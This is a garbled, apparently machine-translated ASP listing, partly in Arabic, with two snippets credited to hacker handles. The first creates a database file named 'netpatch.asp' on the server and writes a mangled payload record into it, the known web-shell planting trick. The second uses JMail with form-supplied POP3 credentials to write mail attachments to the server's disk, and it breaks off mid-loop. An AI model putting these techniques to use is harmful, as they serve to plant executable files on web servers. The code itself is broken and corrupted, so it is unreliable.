<٪
'codebynetpatch
Dimdbfile ، SQL
db = "netpatch.asp"
dbfile = server.mappath (dB)
setydb = server.createObject ("adox.catalog")
ydb.create "Provider = microsoft.jet.oledb.4.0 ؛ datasource =" & dbfile
setydb = لا شيء
iferr.number = 0then
Response.WritedBfile و "إنشاء بنجاح <br>"
آخر
استجابة. "فشل إنشاء" ، السبب: "& err.description
استجابة
Endif
setConn = server.createObject ("adodb.connection")
conn.open "Provider = microsoft.jet.oledb.4.0 ؛ datasource =" & dbfile
SQL = "CreateTableFdata ([Data] Memo)"
conn.execute (SQL)
setrs = createObject ("adodb.recordset")
Rs.Open "Fdata" ، Conn ، 1،3
Rs.Addnew
RS ("Data") = "┼power number وتنشيط العدو>" (تذكر أن تزيل التعليقات!
Rs.update
٪>
اكتب الملفات في Jmail في قرص صلب
<٪
'codzbykevin1986 [S4T]
user = request.form ("user")
PASS = request.form ("Pass")
popServer = request.form ("popserver")
ifuser <> "" و passpass <> "" "و popserver <>" "ثم
setObjmail = createObject ("jmail.pop3")
objmail.connectuser ، Pass ، popserver
setObjmsg = createObject ("jmail.message")
setobjmsg = objmail.messages.item (1)
فاصل = "،"
Response.write "AttachmentNameis:" & Saveatta & "<br>"
Objmail.Disconnect
Endif
FunctionSaveatta ()
setattachments = objmsg.attachments
فاصل = "،"
Response.write "thesizeOfThisattachmentis:" & objmsg.size & "<br>"
fori = 0toattachments.count-1
IFI = المرفقات